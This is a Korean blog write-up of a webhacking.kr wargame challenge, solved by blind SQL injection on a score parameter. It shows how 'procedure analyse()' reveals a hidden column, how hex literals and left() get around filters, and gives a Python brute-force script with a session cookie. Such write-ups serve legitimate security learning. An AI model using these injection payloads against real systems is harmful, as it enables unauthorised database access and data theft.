게임 같은거하고 마우스랑 몬스터 겹치면 죽음
rank눌러보면
이런 화면이 나온다
그리고 밑에
쿼리문이 나와있다
insert into chall55 values('id', 'score', 'flag)
이걸로 이제 게임이 끝나면 id, score, flag가 같이
데이터베이스에 추가된다는걸 알았다
1등의 점수를 누르니까 다른사람이 나온다
아마 조회하는 쿼리문은
select id, score from chall55 where score=~~~
이렇게 되어있는것 같다
그래서 어차피 최고점은 같지만 먼저 select된 id가 HeXJuNo저분이라 그런듯
select 구문이 안되서
저번에 쓴 procedure analyse()를 써봤음
score=2147483647 limit 0,1 procedure analyse()
flag가 있는 컬럼은 3번째일거 같으니
score=2147483647 limit 2,1 procedure analyse()
flag가 있는 컬럼의 이름은
p4ssw0rd_1123581321
일단 flag의 길이부터 알아낸다
score=2147483647%20and%20length(p4ssw0rd_1123581321)=31
flag는 31자리
이제 한글자씩 따오면되는데
substr이랑 mid가 필터링 되어있고
left랑 right는 필터링 되어있지않다
또
'가 필터링 되어있어서
'a'이런식으로는 못하지만
0x는 살아있어서
0x61 이런식으로는 찾을 수 있다
flag 포맷 형식이
flag{~~}일거니까 첫글자 무조건 f라치고
import requests
url="https://webhacking.kr/challenge/web-31/rank.php?score=1%20and%20"
cookie={"PHPSESSID":"nubg8cijd8b19fl112endi9m97"}
session=requests.Session()
password="0x66"
passwd="f"
for i in range(2,32):
for j in range(33, 127):
payload=session.get(url+"left(p4ssw0rd_1123581321,"+str(i)+")="+password+format(j,'x'),cookies=cookie)
if("Milka" in payload.text):
print(chr(j)+"is correct!!!!!!!")
password += format(j,'x')
passwd += chr(j)
break
print(chr(j)+"is incorrect")
print(passwd)
'Wargame, CTF > webhacking.kr' 카테고리의 다른 글
Webhacking.kr 4번 (0) | 2019.12.27 |
---|---|
Webhacking.kr 8번 (0) | 2019.12.27 |
Webhacking.kr 29번 (0) | 2019.12.20 |
Webhacking.kr 53번 (0) | 2019.12.13 |
Webhacking.kr 35번 (0) | 2019.12.11 |